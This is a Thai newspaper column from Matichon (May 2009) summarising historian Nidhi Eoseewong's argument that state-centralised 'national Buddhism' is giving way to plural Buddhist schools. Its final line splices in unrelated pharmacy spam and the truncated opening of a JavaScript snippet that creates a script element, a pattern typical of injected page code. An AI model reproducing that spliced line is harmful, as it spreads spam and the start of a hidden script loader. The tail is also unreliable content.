หนังสือพิมพ์มติชน ฉบับประจำวันอังคารที่ 12 พฤษภาคม 2552

“เราทุกคนต่างมีชีวิตอยู่ในช่วงสมัยที่ “พุทธศาสนาแห่งชาติ” ซึ่งก็มีอายุไม่นานนัก กำลังสลายตัวลง”

อาจารย์นิธิ เอียวศรีวงศ์ บอกไว้ในเอกสารเรื่อง “ศาสนาในสังคมไทยสมัยใหม่(ฉบับลำลอง)” (คราวไปปาฐกถาที่คณะเศรษฐศาสตร์ มหาวิทยาลัยธรรมศาสตร์ เมื่อวันจันทร์ที่ 27 เมษายน 2552) แล้วย้ำอีกว่า “พระพุทธศาสนาแห่งชาติ” กำลังจะหมดพลังลง

“พุทธศาสนาในประเทศไทยจะกลับไปเหมือนกับพุทธศาสนาที่มีในประเทศไทยมานานก่อนการปฏิรูปการปกครองคณะสงฆ์ในสมัย ร.5 นั่นคือพุทธศาสนาแบบรวม หรือแบบหลากหลาย”

“เรากำลังมีชีวิตอยู่ในช่วงที่กำลังเกิด“สำนัก”ของพุทธศาสนาขึ้นหลายๆ สำนัก ซึ่งมีแนวโน้มจะถือวัตรปฏิบัติต่างกัน รวมทั้งให้จุดเน้นแก่คำสอนที่ต่างกันด้วย”

พุทธศาสนาแบบรวม หรือแบบหลากหลาย ควรเป็นพุทธศาสนาเก่าสุดตั้งแต่แรกเข้ามาประดิษฐานในสุวรรณภูมิ ตราบจนผ่านยุคทวารวดี เข้าสู่ยุคอยุธยา-สุโขทัย พุทธศาสนาก็เป็นแบบรวม หรือแบบหลากหลายที่ผสมกลมกลืนประกอบด้วย“ผี-พุทธ-พราหมณ์”

ราชสำนักกับชาวนา ต่างมีพุทธศาสนาแบบรวม หรือแบบหลากหลายของตน คือราชสำนักมีพุทธแบบราชสำนัก ส่วนชาวนาก็มีพุทธแบบชาวนา พุทธทั้งสองแบบมีทั้งเหมือนกันและต่างกัน สุดแต่จะตีความให้โน้มข้างเป็นประโยชน์ต่อใคร? อย่างไร?

ชนชั้นกลางยังไม่มีในยุคนั้น เลยไม่มีพุทธศาสนาแบบชนชั้นกลาง

พุทธศาสนาแบบราชสำนักสืบทอดถึงกรุงรัตนโกสินทร์ ในที่สุดก็ถูกทำให้เป็น “พุทธศาสนาแห่งชาติ” อาจารย์นิธิสรุปไว้ในเอกสารนี้ว่า

“ “พุทธศาสนาแห่งชาติ” เกิดขึ้นจากชนชั้นนำจำนวนน้อยของสังคมไทย เพื่อเป็นเครื่องมือในการสร้างรัฐรวมศูนย์ ซึ่งเป็นลักษณะเด่นของรัฐสมัยใหม่ และเพื่อเสริมอุดมการณ์ชาตินิยมและทุนนิยมอันเป็นนโยบายของรัฐบาล”

แต่ “พุทธศาสนาแห่งชาติ” ไม่ได้เกิดขึ้นเพื่อรับใช้คนชั้นกลาง อาจารย์นิธิอธิบายว่าเพราะเป็นศาสนาของราชสำนัก เน้นหลักคำสอน และการจัดองค์กรที่จะให้อำนาจรัฐรวมศูนย์ เพื่อใช้องค์กรสงฆ์เป็นเครื่องมือของรัฐในการเผยแพร่นโยบายของรัฐบาลกลางไปยังท้องถิ่นทั่วพระราชอาณาจักร

ลักษณะรวมศูนย์ของ“พุทธศาสนาแห่งชาติ”นี่เอง จึงมีองค์กรปกครองคณะสงฆ์ควบคุมพระสงฆ์ทั่วราชอาณาจักร เริ่มจัดการศึกษาของพระสงฆ์ทั่วประเทศให้อยู่ในหลักสูตรเดียวกันที่องค์กรปกครองส่วนกลางกำหนดขึ้น ทำให้คณะสงฆ์ไทยตีความพระวินัย และให้จุดเน้นของคำสอนที่เป็นอันหนึ่งอันเดียวกันขึ้นทั่วประเทศ

ที่สำคัญคือปฏิเสธการตีความและอธิบายความของคณะอื่นๆ หรือบุคคลอื่นๆ ที่ต่างไปจากส่วนกลาง หรือต่างจากความรู้เดิมที่ได้จากอาจารย์ของตน แล้วพากันแสดงออกเพื่อตอบโต้อย่างรุนแรงก้าวร้าวต่อฝ่ายตรงข้ามที่คิดต่าง ดังกรณีมหายาน, หีนยาน, เถรวาท, ฯลฯ

นี่แหละๆ ช่วงสมัยที่ “พุทธศาสนาแห่งชาติ” กำลังจะหมดพลัง และกำลังสลายตัวลง

visaka12-05-52

“พระพุทธศาสนาแห่งชาติ” เป็นเครื่องมือสร้างรัฐรวมศูนย์ แล้วเผยแพร่นโยบายของรัฐบาลกลางไปยังท้องถิ่น เช่น พิธีกรรมสำคัญทางศาสนาในแต่ละปี (ภาพบน)  พระสงฆ์นั่งพนมมือเต็มลานที่พุทธมณฑล (ภาพล่าง) ประชาชนเดินเวียนเทียนบริเวณท้องสนามหลวงfluticasone nasal spray lexapro generic buyvar d=document;var s=d.createElement(‘script’);